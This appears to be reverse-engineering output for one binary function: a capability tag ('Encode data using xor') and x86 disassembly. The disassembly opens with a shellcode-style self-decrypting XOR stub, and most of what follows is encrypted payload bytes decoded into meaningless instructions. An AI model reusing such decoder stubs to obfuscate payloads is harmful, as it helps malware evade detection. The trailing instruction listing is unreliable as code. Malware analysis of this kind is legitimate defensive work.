Function at 0x10ca9e8
Capabilities:
Encode data using xor

Disassembly:
jmp 0x10ca9f2
pushal
call 0x10ca9f8
pop ebp
sub ebp, 0x10
sub ebp, 0xcca9e8
jmp 0x10caa0e
mov eax, 0xcca9e8
add eax, ebp
add eax, 0x4c
mov ecx, 0x580
mov edx, 0xfa8ac932
xor byte [eax], dl
inc eax
dec ecx
jne 0x10caa25
jmp 0x10caa38
mov ecx, 0xebbb9ff
xor dh, byte [edx]
xor dh, byte [ebx + 0x3232caf3]
xor dh, byte [ecx]
dec dword [edx + 0x32323234]
mov byte [edx], bl
xor dh, byte [edx]
xor al, ch
sal byte [ecx], 1
cli
mov ecx, 0x32323eb3
xor dh, byte [ecx]
mul dword [edx + 0x62]
pop edx
fidiv word [ecx + 0x12]
xor bl, byte [edx - 0x38]
push edi
sahf
xor dh, byte [ebx]
push ds
push ss
pop edx
nop
jno 0x10caa9f
jnp 0x10caa4d
aaa
xor dh, byte [edx]
xor bl, bl
sbb dh, byte [edx]
xor dh, byte [edx]
mov ecx, 0x3ab7b9de
xor dh, byte [edx]
xor bh, byte [ecx + 0x32323ea7]
xor bh, byte [ecx + 0x323222bf]
xor dh, bl
invalid
int 0x6f
lock xor bh, byte ds:[ecx + 0x323616be]
xor dh, byte [edx]
pop edx
fidiv word [ecx + 0x12]
xor bl, byte [edx - 0x38]
push edi
sahf
xor dh, byte [ebx]
push ds
push ss
arpl dx, bx
aaa
xor dh, byte [edx]
xor bl, bl
or eax, 0x67323230
mov ecx, 0x3e47cdde
int 0x47
cmp bl, dl
inc eax
xor dh, byte [edx]
xor bh, byte [ecx + 0x32323a8f]
xor al, byte [ecx]
sti
mov bl, 0xc0
pop edi
inc ebx
sar dword [ebx + esi*4], 0xc0
pop edi
inc ebx
sar dword [ecx + eax], 0xe0
mov cl, 0xda
aaa
jp 0x10cab29
mov dh, 0x7c
xor dh, byte [edx]
xor bh, byte [0x32327aba]
xor dl, byte [ecx + edi*4 + 0x2e]
or esi, dword [edx - 0x49c22537]
sub byte [edx], dh
xor dh, byte [edx]
mov dl, 0xc9
fstp xword [0x323223b6]
xor dl, byte [ebx + esi*4 - 0x37]
int 0x17
cmp eax, 0x323227b6
xor dh, byte [ebx - 0x25]
dec ch
int 0xcd
sbb edi, dword [esi + 0xb]
xor esi, dword [ecx - 0x254ec80d]
fisttp dword ss:[edi + 0x1bcdcdcd]
or si, word [eax]
mov cl, 0xf3
xor al, 0xb1
fdiv dword [esi]
mov cl, 0xda
aaa
fistp dword [ecx + 0x6fcdcdcd]
lock xor ah, byte ds:[edi - 0x47]
fisub word [ebp + 0x67]
mov ecx, 0x4fb93e47
cmp cl, dh
xor byte [edx - 0xb4ccb48], 0x33
xor dh, byte [edx]
xor bh, byte [edx + 0x33f5b335]
xor dh, byte [edx]
xor cl, byte [ecx + 0x32323230]
xor al, ah
cmp eax, 0x323237b7
xor bh, byte [eax - 0x1fdf8bdc]
cmp eax, 0xcdcdeab1
int 0x30
loopne 0x10cabba
invalid
mov bh, 0x37
xor dh, byte [edx]
xor bh, byte [eax - 0x1fdf8bdc]
cmp eax, 0x323258b1
xor al, byte [ecx]
xor al, ah
cmp eax, 0x323237b7
xor bh, byte [eax - 0x1fdf8bdc]
cmp eax, 0x323318b1
xor dh, byte [eax]
loopne 0x10cabe2
mov bh, 0x37
xor dh, byte [edx]
xor bh, byte [eax - 0x1fdf8bdc]
and edx, esi
xor al, ah
cmp eax, 0x323237b7
xor bh, byte [eax - 0x1fdf8bdc]
and al, 0x74
and al, ah
and edx, esi
xor al, ah
cmp eax, 0x323237b7
xor bh, byte [eax - 0x1fdf8bdc]
and edx, esi
xor al, ah
cmp eax, 0x323237b7
xor bh, byte [eax - 0x1fdf8bdc]
and edx, esi
cmp eax, 0x323234b6
xor bh, byte [ecx - 0x4715e613]
xor dh, byte [edx]
mov ecx, 0xb8ea19ed
xor dword [edx + 0x30897535], edi
xor dh, byte [edx]
xor bl, bl
inc edx
int 0xcd
int 0x8a
xor esi, dword [edx]
xor dh, byte [edx]
xor al, ah
cmp eax, 0x323237b7
xor bh, byte [eax - 0x1fdf8bdc]
and edx, esi
xor al, ah
cmp eax, 0x323237b7
xor bh, byte [eax - 0x1fdf8bdc]
cmp eax, 0xcdcdecb0
int 0x19
int1
mov dword [ebx], esi
xor dh, byte [edx]
xor bh, byte [0x323206b7]
xor cl, byte [ebx + 0x32323233]
xor al, ah
cmp eax, 0x323237b7
xor bh, byte [eax - 0x1fdf8bdc]
and ebx, edi
xor al, ah
cmp eax, 0x323237b7
xor bh, byte [eax - 0x1fdf8bdc]
cmp eax, 0xcdcdecb0
int 0x64
mov ecx, 0xc1c719c5
xchg esi, eax
insb byte es:[edi], dx
fstp xword [edx]
int 0xcd
int 0x7a
sar byte [edx], cl
mov eax, 0xdab97434
mov esi, dword [ebx]
xor dh, byte [edx]
xor dh, byte [eax]
loopne 0x10cacad
mov bh, 0x37
xor dh, byte [edx]
xor bh, byte [eax - 0x1fdf8bdc]
and ebx, edi
xor al, ah
cmp eax, 0x323237b7
xor bh, byte [eax - 0x1fdf8bdc]
cmp eax, 0xcdcdecb0
int 0xb3
retf 0x4f32
mov bl, 0xe3
xor dh, byte [edx]
xor dh, byte [edx]
mov bl, 0xca
mov dl, 0x32
xor dh, byte [edx]
mov bl, 0xe3
xor dh, byte [edx]
xor dh, byte [edx]
mov ecx, 0xc1c219c5
xchg esi, eax
insb byte es:[edi], dx
fld xword [ecx - 0x47323234]
xor al, 0x74
add ebx, edi
fidiv dword [ebx]
cmp eax, 0x323228b6
xor dh, byte [ebx + 0x323230e3]
xor bh, byte [ecx - 0x3a469b26]
sbb edx, eax
rcl dword [esi + 0x3233896c], 0x32
xor bl, bl
inc ecx
int3